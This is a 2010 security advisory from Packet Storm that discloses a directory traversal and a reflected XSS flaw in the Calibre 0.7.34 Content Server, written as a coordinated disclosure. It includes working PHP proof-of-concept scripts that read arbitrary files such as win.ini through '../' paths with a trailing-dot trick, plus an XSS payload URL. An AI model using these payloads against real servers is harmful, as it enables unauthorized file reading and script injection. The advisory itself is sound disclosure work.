Calibre 0.7.34 Cross Site Scripting/ Directory Traversal

2010-12-22T00:00:00
ID PACKETSTORM:96933
Type packetstorm
Reporter Janek Vind aka waraxe
Modified 2010-12-22T00:00:00

Description

                                        
                                            `[waraxe-2010-SA#077] - Multiple Vulnerabilities in Calibre 0.7.34  
===============================================================================  
  
Author: Janek Vind "waraxe"  
Date: 20. December 2010  
Location: Estonia, Tartu  
Web: http://www.waraxe.us/advisory-77.html  
  
  
Affected Software:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Calibre is a free and open source e-book library management application developed  
by users of e-books for users of e-books. It has a cornucopia of features divided  
into the following main categories: Library Management, E-book conversion, Syncing  
to e-book reader devices, Downloading news from the web and converting it into  
e-book form, Comprehensive e-book viewer, Content server for online access to your  
book collection  
  
http://calibre-ebook.com/  
  
Affected versions  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Tests were conducted against Calibre version 0.7.34 for Windows, older versions  
may be vulnerable as well. Other platform versions were not tested.  
  
###############################################################################  
1. Directory Traversal Vulnerability in Calibre Content Server  
###############################################################################  
  
Reason: failure to sufficiently sanitize user-supplied input data  
  
Attack vector: specially crafted HTTP GET request  
  
Preconditions:  
1. Calibre Content Server must be turned on (off by default)  
2. If Username and Password set, they must be known (no password by default)  
  
Impact: remote attacker can read arbitrary files on the target system  
  
So, I was interested in e-book management software and after some research found  
Calibre. It has useful feature - Content Server. Basically it's Webserver, based  
on CherryPy, written in Python. As specialized in Web Application Security, then  
obviously I spent some time playing with it.  
I used Firefox with Live HTTP Headers Add-On, which provides easy way to observe  
HTTP requests and responses. This is what got my attention:  
  
http://localhost:8080/static/browse/browse.css  
http://localhost:8080/static/jquery_ui/css/humanity-custom/jquery-ui-1.8.5.custom.css  
http://localhost:8080/static/jquery.multiselect.css  
  
Seems like accessing static resources. Norhing unusual. But what if ...  
  
http://localhost:8080/static/browse/waraxe  
  
Oops, something crashed:  
-------------------------------------------------------------------------------  
500 Internal Server Error  
  
The server encountered an unexpected condition which prevented it from fulfilling the request.  
  
Traceback (most recent call last):  
File "site-packages\cherrypy\_cprequest.py", line 606, in respond  
File "site-packages\cherrypy\_cpdispatch.py", line 25, in __call__  
File "site-packages\calibre\library\server\utils.py", line 51, in do  
File "site-packages\calibre\library\server\content.py", line 98, in static  
KeyError: u'browse/waraxe'  
  
Powered by CherryPy 3.1.2   
-------------------------------------------------------------------------------  
So we can see, that static resources are handled via "content.py".  
Calibre is Open Source software, so no need for reverse engineering.  
Source code snippet:  
-------------------------------------------------------------------------------  
def static(self, name):  
'Serves static content'  
name = name.lower()  
cherrypy.response.headers['Content-Type'] = {  
'js' : 'text/javascript',  
'css' : 'text/css',  
'png' : 'image/png',  
'gif' : 'image/gif',  
'html' : 'text/html',  
'' : 'application/octet-stream',  
}[name.rpartition('.')[-1].lower()]  
cherrypy.response.headers['Last-Modified'] = self.last_modified(self.build_time)  
-------------------------------------------------------------------------------  
As seen above, no checks for dot-dot-slash (../), so Directory Traversal  
vulnerability may exist.  
Quick look at Calibre install directory revealed the fact, that static  
resources folder is located here:  
  
C:\Program Files (x86)\Calibre2\resources\content_server\  
  
Let's see, if we can fetch files outside of that directory:  
  
http://localhost:8080/static/../jquery.simulate.js  
  
I was testing it with Firefox 3.6.13 and Live HTTP Headers revealed problem:  
  
GET /jquery.simulate.js HTTP/1.1  
  
It appears, that modern web browsers (FF, IE, Opera at least) will not let  
directory traversal tests via GET request. Fine, let's then use php:  
-------------------------------------------------------------------------------  
<?php  
error_reporting(E_ALL);  
$url = "http://127.0.0.1:8080/static/../jquery.simulate.js";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$resp = curl_exec($ch);  
curl_close($ch);  
echo $resp;  
?>   
-------------------------------------------------------------------------------  
YES, it worked, we were able to read js file outside the predetermined directory.  
Now let's try file reading from Windows directory:  
-------------------------------------------------------------------------------  
<?php  
error_reporting(E_ALL);  
$url = "http://127.0.0.1:8080/static/../../../../windows/win.ini";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$resp = curl_exec($ch);  
curl_close($ch);  
echo $resp;  
?>  
-------------------------------------------------------------------------------  
And we get unexpected crash :(  
-------------------------------------------------------------------------------  
500 Internal Server Error  
  
The server encountered an unexpected condition which prevented it from fulfilling the request.  
  
Traceback (most recent call last):  
File "site-packages\cherrypy\_cprequest.py", line 606, in respond  
File "site-packages\cherrypy\_cpdispatch.py", line 25, in __call__  
File "site-packages\calibre\library\server\utils.py", line 51, in do  
File "site-packages\calibre\library\server\content.py", line 98, in static  
KeyError: u'ini'  
-------------------------------------------------------------------------------  
As seen above, files with extension "js", "css", "png", "gif" and "html" as well  
as files without extension (filename ends with dot) are retrievable, but in case  
of "wrong" extension vulnerable python script will crash because of missing entry  
in extensions array (formal definition: exception KeyError - Raised when a mapping  
(dictionary) key is not found in the set of existing keys).  
At first this seemed as minor security issue - only js, css, png, gif, html and  
extensionless files from remote system can be retrieved. But after playing around  
some time I found useful artifact - concatenation of space or dot character  
to the end of the filename will pass through the python script without crashing  
it and we can read arbitrary files from remote system.  
Now this is major security issue here! Below is test script for proof of concept:  
-------------------------------------------------------------------------------  
<?php  
error_reporting(E_ALL);  
$url = "http://127.0.0.1:8080/static/../../../../windows/win.ini.";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$resp = curl_exec($ch);  
curl_close($ch);  
echo $resp;  
?>  
-------------------------------------------------------------------------------  
By the way, that trick with trailing dot or space character(s) is based on  
Win32 API features. I tried it in php and python, in both cases we can open same  
file with paths "waraxe.txt", "waraxe.txt.", "waraxe.txt ", "waraxe.txt. . .".  
I tried Win32 API CreateFile() from C code and it worked in same way.  
Seems like useful trick :)  
  
###############################################################################  
2. Reflected XSS Vulnerability in Calibre Content Server  
###############################################################################  
  
Reason: failure to sufficiently sanitize user-supplied input data  
  
Attack vector: user-supplied GET parameter "query"  
  
Preconditions:  
1. Calibre Content Server must be turned on (off by default)  
2. If Username and Password set, they must be known (no password by default)  
  
Example attack:  
  
http://127.0.0.1:8080/browse/search?query=<script>alert('waraxe')</script>  
  
  
Disclosure Timeline:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
20.12.2010 Developer contacted via email  
20.12.2010 Developer gave green light for going public  
20.12.2010 Public disclosure  
  
Greetings:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Greets to ToXiC, y3dips, Sm0ke, Heintz, slimjim100, pexli, zerobytes, vince213333,  
to all active waraxe.us forum members and to anyone else who know me!  
  
  
Contact:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
come2waraxe@yahoo.com  
Janek Vind "waraxe"  
  
Waraxe forum: http://www.waraxe.us/forums.html  
Personal homepage: http://www.janekvind.com/  
Random project: http://errorhelpdesk.com/  
---------------------------------- [ EOF ] ------------------------------------  
`